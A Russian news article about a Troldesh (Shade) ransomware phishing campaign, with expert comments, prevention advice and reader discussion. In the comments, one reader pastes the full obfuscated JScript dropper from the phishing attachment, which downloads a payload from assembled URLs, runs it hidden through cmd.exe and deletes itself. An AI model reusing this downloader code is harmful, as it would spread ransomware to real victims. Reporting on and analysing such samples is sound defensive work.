Эксперты Group-IB предупреждают пользователей о росте активности вируса-шифровальщика Troldesh (Shade). Цель злоумышленников — запустить программу в локальной сети компании, зашифровать файлы и запросить выкуп.
Во время прежних атак операторы ботсети рассылали письма от имени банков и компаний ритейла. Сейчас идёт массовая рассылка от имени сотрудников крупных авиакомпаний (например, «Полярные авиалинии»), автодилеров («Рольф») и от СМИ (РБК, Новосибирск-online).
Во втором квартале 2019 года Group-IB обнаружила более 6000 фишинговых писем, содержащих Troldesh. На данный момент кампания по рассылке вируса-вымогателя активна (в июне зарегистрировано около 1100 фишинговых писем).
Образец работы первой версии криптовымогателя Troldesh (Shade), 2015-й год
В тексте фишинговых писем злоумышленники представляются сотрудниками компаний и просят открыть приложенный файл. Это архив, который якобы содержит подробности «заказа». Все обратные адреса подделаны. Рассылка осуществляется через арендованный ботнет, включающий не только обычные серверы, но и заражённые IoT-устройства, например, маршрутизаторы.
Злоумышленники значительно разнообразили список обратных адресов. Они всё чаще представляются сотрудниками компаний разных отраслей — ритейла, нефтегаза, строительства, авиаотрасли, сферы рекрутинга и медиа. Рассылка от имени банков тоже используется, но уже в виде персональных писем от топ-менеджеров.
Troldesh — старый криптовымогатель, впервые замеченный ещё в 2015 году. Он также известен под названиями Shade, XTBL, Trojan.Encoder.858, Da Vinci и No_more_ransome. Злоумышленники регулярно меняют упаковщик и успешно обходят антивирусные средства защиты. К концу 2018 году Troldesh вошёл в топ-3 самых популярных вирусов-шифровальщиков, наряду с RTM и Pony.
Центр управления Troldesh располагается в сети Tor и постоянно меняет адрес домена, что осложняет его блокировку.
Troldesh продаётся и сдаётся в аренду на специализированных площадках в даркнете, в связи с чем вирус постоянно приобретает новую функциональность и меняет способы распространения. Последние кампании с Troldesh показали, что теперь он не только шифрует файлы, но ещё маи?нит криптовалюту и генерирует трафик на веб-сайты для увеличения посещаемости и доходов от онлайн-рекламы.
На форумах, где общаются пострадавшие, говорят, что способа спасти зашифрованные файлы нет, то есть программа написана довольно грамотно с криптографической точки зрения.
«Лаборатория Касперского» бесплатно распространяет дешифратор Shade Decryptor, но он помогает только против первой и второй версий шифровальщика.
Профилактика против заражения стандартная:
- загружать программы лишь из проверенных источников;
- не открывать подозрительные почтовые вложения;
- не переходить по сомнительным ссылкам;
- делать резервные копии важных файлов, которые хранить отдельно.
«Shade — это не только шифровальщик, существуют версии, которые еще и сканируют заражённое устройство, и если фиксируют, что оно имеет доступ к бухгалтерским системам, то устанавливается дополнительное вредоносное ПО для удалённого доступа», — говорит руководитель отдела исследования и детектирования сложных угроз «Лаборатории Касперского» Антон Иванов.
С помощью этого программного обеспечения злоумышленники делают попытки вывода денег со счёта. Эксперт подтвердил, что для последней версии Shade не существует дешифратора.
Комментарии (16)
0xf0a00
25.06.2019 15:59В архиве приложен JS файл
содержимоеfunction U(W, PK)
{
return FVt(W, PK);
}
function c(CVJ)
{
var WDq;
var Ews;
var EE = rn(42);
var b = new EE(«MSXML2.XMLHTTP»);
var Q = 0;
if (eOa(b, CVJ) == 0)
return false;
if (b[«Status»] != 200)
return !true;
var SL = new EE(«Scripting.FileSystemObject»);
var d = new EE(«ADODB.Stream»);
CVJ = gHg(SL);
QKy(d, b);
var T = d[«Read»]();
T = u(d, rn(7), T);
if (T.length < 10)
return false;
d[«SaveToFile»](CVJ);
d[«Close»]();
var X = rn(144);
var bN = «Wscript.Shell»;
WDq = new X(bN);
Ews = «cmd.exe /c » + CVJ;
WDq[«run»](Ews, 0);
if (!false)
{
CVJ = «del» + «eteF» + «ile»;
I(SL, CVJ);
return ((26+27)>28);
}
return Q;
}
function a(oS)
{
var K = oS.length;
return K;
}
function q()
{
var pPx = «ch»;
pPx += «arC»;
return pPx + «odeAt»;
}
function rWG(f)
{
var tqk = "";
var G = 5 — 5;
var pC = false;
var fh = rn(f+4);
var sb = 0;
if (f != sb)
{
}
else
return false;
if (false)
{
}
else
{
sb = new fh(«MSXML2.XMLHTTP»);
}
try
{
w = --sb;
}
catch (Z)
{
var Fl = hA(sb);
pC = !Fl;
}
return pC;
}
function QKy(Qm, Nq)
{
var St = «O» + «p» + "\x65" + «n»;
Qm[St]();
var rI = "\x54" + "\x79" + «p» + "\x65";
Qm[rI] = 1;
var Nvr = "\x57" + «r» + "\x69" + "\x74" + «e»;
var hGO = «R» + "\x65" + «s» + «p» + «o» + «n» + «s» + "\x65" + "\x42" + "\x6F" + «d» + "\x79";
Qm[Nvr](Nq[hGO]);
var J = "\x50" + «o» + «s» + «i» + «t» + «i» + «o» + «n»;
Qm[J] = 0;
}
function hA(XS)
{
var jb = typeof XS[«Open»];
var JM = («unknown»);
return (jb != JM );
}
function I(bj, m)
{
var p = WScript;
bj[m](p[«ScriptFullName»]);
}
function gHg(bmN)
{
var N = «G» + «e» + "\x74" + "\x53" + «p» + «e» + «c» + «i» + "\x61" + "\x6C" + «F» + «o» + «l» + "\x64" + "\x65" + «r»;
var sU = N;
var Ct = «G» + "\x65" + «t» + «T» + «e» + "\x6D" + «p» + «N» + «a» + "\x6D" + «e»;
var WUn = Ct;
var Bl = bmN[sU](2) + "\\" + bmN[WUn]();
return Bl;
}
function u(PL, j, rl)
{
var AF = "\x41" + "\x44" + «O» + "\x44" + «B» + "." + «R» + «e» + "\x63" + «o» + "\x72" + "\x64" + «s» + «e» + "\x74";
var oL = new j(AF);
var oV = "\x61" + «d» + "\x64" + «N» + "\x65" + "\x77";
var O = oV;
var RK = PL[«Si» +«ze»];
var Ga = 201;
oL[«fields»][«ap» + «pe» + «n» + «d»](«bin», Ga, RK);
oL[«o» + «pen»]();
oL[O]();
var ML = "\x62" + "\x69" + "\x6E";
var ZQ = ML;
var QN = «a» + "\x70" + "\x70" + «e» + «n» + "\x64" + "\x43" + «h» + "\x75" + "\x6E" + «k»;
var i = QN;
oL(ZQ)[i](rl);
var LCB = «u» + "\x70" + "\x64" + «a» + «t» + "\x65";
var S = LCB;
oL[S]();
var wh = "\x76" + «a» + "\x6C" + "\x75" + «e»;
var t = wh;
return oL(ZQ)[t];
}
function eOa(Nq, tB)
{
var QGL = «o» + "\x70" + «e» + «n»;
var ZBS = «G» + «E» + «T»;
var gR=158389;
var xIi=gR+27797;
var eO=xIi/546;
var jgs=eO-341;
Nq[QGL](ZBS, tB, jgs);
try {
var Sb = «s» + «e» + "\x6E" + «d»;
Nq[Sb]();
} catch (djF) {
return (1-1);
}
return 1;
}
function bp(Vl, Bli)
{
var l=6145;
var HSu=l+1355;
var fR=HSu/12;
var xkt=fR-601;
var CVJ = xkt;
var Yy=[«ud»,«f»,"/w",«w.»,«w»,«in»,«ox»,«s»,":/","-",«ht»,«t»,«nt»,«hl»,«o»,«e»,«m»,«m/»,«e»,«h»,«n»,«c»,«ux»,«wp»,«i»,«ux»,«w.»,"/t",«g»,"/p",«n»,«e»,«a»,"/h",«o»,"/",«c»,«la»,"/",«on»,«p.»,«a»,«s»,"/",«tp»,«p»,«s»,«cl»,«as»,«e»,"-c",«es»,«la»,«i»];
var Dm=Yy[10]+Yy[44]+Yy[8]+Yy[2]+Yy[4]+Yy[26]+Yy[34]+Yy[45]+Yy[48]+Yy[37]+Yy[3]+Yy[21]+Yy[14]+Yy[17]+Yy[23]+Yy[50]+Yy[39]+Yy[11]+Yy[49]+Yy[12]+Yy[27]+Yy[19]+Yy[15]+Yy[16]+Yy[31]+Yy[46]+Yy[29]+Yy[13]+Yy[6]+Yy[35]+Yy[32]+Yy[22]+Yy[24]+Yy[20]+Yy[43]+Yy[41]+Yy[25]+Yy[5]+Yy[9]+Yy[53]+Yy[30]+Yy[47]+Yy[0]+Yy[18]+Yy[38]+Yy[36]+Yy[52]+Yy[7]+Yy[42]+Yy[51]+Yy[33]+Yy[40]+Yy[28]+Yy[1];
var kJ=[«m»,«p»,«k»,"/h",«e.»,«r»,«t»,«r.»,«er»,«la»,«ab»,«h»,«ve»,«tp»,":","/",«p»,«f»,«ai»,«rs»,«co»,".",«g»,"/"];
var TrO=kJ[11]+kJ[6]+kJ[13]+kJ[14]+kJ[23]+kJ[15]+kJ[5]+kJ[10]+kJ[9]+kJ[2]+kJ[4]+kJ[1]+kJ[18]+kJ[19]+kJ[8]+kJ[12]+kJ[7]+kJ[20]+kJ[0]+kJ[3]+kJ[16]+kJ[21]+kJ[22]+kJ[17];
CVJ = (Vl > Bli)?(Dm):(TrO);
return c(CVJ);
}
function rn(UVp)
{
return ActiveXObject;
}
function Bub(WG)
{
if ((WG > 5) && rWG(1))
{
var sc = bp(7, 4);
if (sc == false)
sc = bp(23, 56);
var HfP=242357;
var mK=HfP+27824;
var R=mK/691;
var wk=R-388;
return wk;
}
var iW=46259;
var ZKO=iW+2221;
var gs=ZKO/60;
var M=gs-804;
return M;
}
if (8 > 1)
{
var K = true?Bub(7 + 5):7;
}
IgorKh
25.06.2019 17:31А кто разбирается в этих вещах, зачем там подобный мусор:
— if (8 > 1)
— Bub(7 + 5), почему на Bub(12)
— да и вся function Bub, на быстрый взгляд просто пустые расчеты гоняетnamikiri
25.06.2019 17:36Это называется обфускация. Затрудняет анализ логики работы скрипта.
IgorKh
25.06.2019 17:52-3Не похоже, обфускация не должна влиять на производительность, добавлять пустые расчеты и тд…
VBKesha
25.06.2019 18:10Возможно эти цифры генерируются динамически при создании каждой копии вируса. Видимо чтобы сложней было составить сигнатуру.
PS. Кажется это звалось полиморфизм относительно вирусов.
solver
25.06.2019 17:47+1не переходить по сомнительным ссылкам;
Учитывая, сколько сейчас обычных сайтов построено на решетках вроде вордпреса и друпала. Такой себе совет. Поможет только совсем уж от левых сайтов вида «zZShFJDH.......KJFHFyDJ.xyz».namikiri
25.06.2019 17:58+2А ещё вспомним неприятно пахнущие почтовые сервисы и системы рассылок, которые в погоне за переходами пользователя «проксируют» все ссылки через себя, превращая их во что-то вроде
https://fcukingmailer.cloud.track.noprivacy.com/trackyourass/0Y8g0LXQsdCw0Lsg0YHRgNCw0L3Ri9C1INGC0YDQtdC60LXRgNGL
fmj
25.06.2019 18:12-1насчет «профилактики заражения»: srp/applocker? Пользователям бесполезно что-то объяснять, проще у них все права порезать.
corvair
25.06.2019 18:22… от имени сотрудников крупных авиакомпаний (например, «Полярные авиалинии")
Компания региональная, но в своём регионе значимая и соответственно её услугами постоянно пользуются в командировках и имеется корреспонденция. Надо предупредить народ.
boingo-00
25.06.2019 18:58Как раз неделю назад в местной школе поймали такой. Ни один декриптор не помог, каспер отказывается работать из-за разницы в размере зашифрованного и расшифрованного преступником файла. Повезло, что критически важных данных не было, а то бы все могло очень плохо закончиться
servekon
25.06.2019 23:03Под обычным пользователем в системе тоже сработает или нужны права администратора?
Popadanec
Найти и с помощью терморектального криптоанализатора получить пароль который вернёт всё в зад.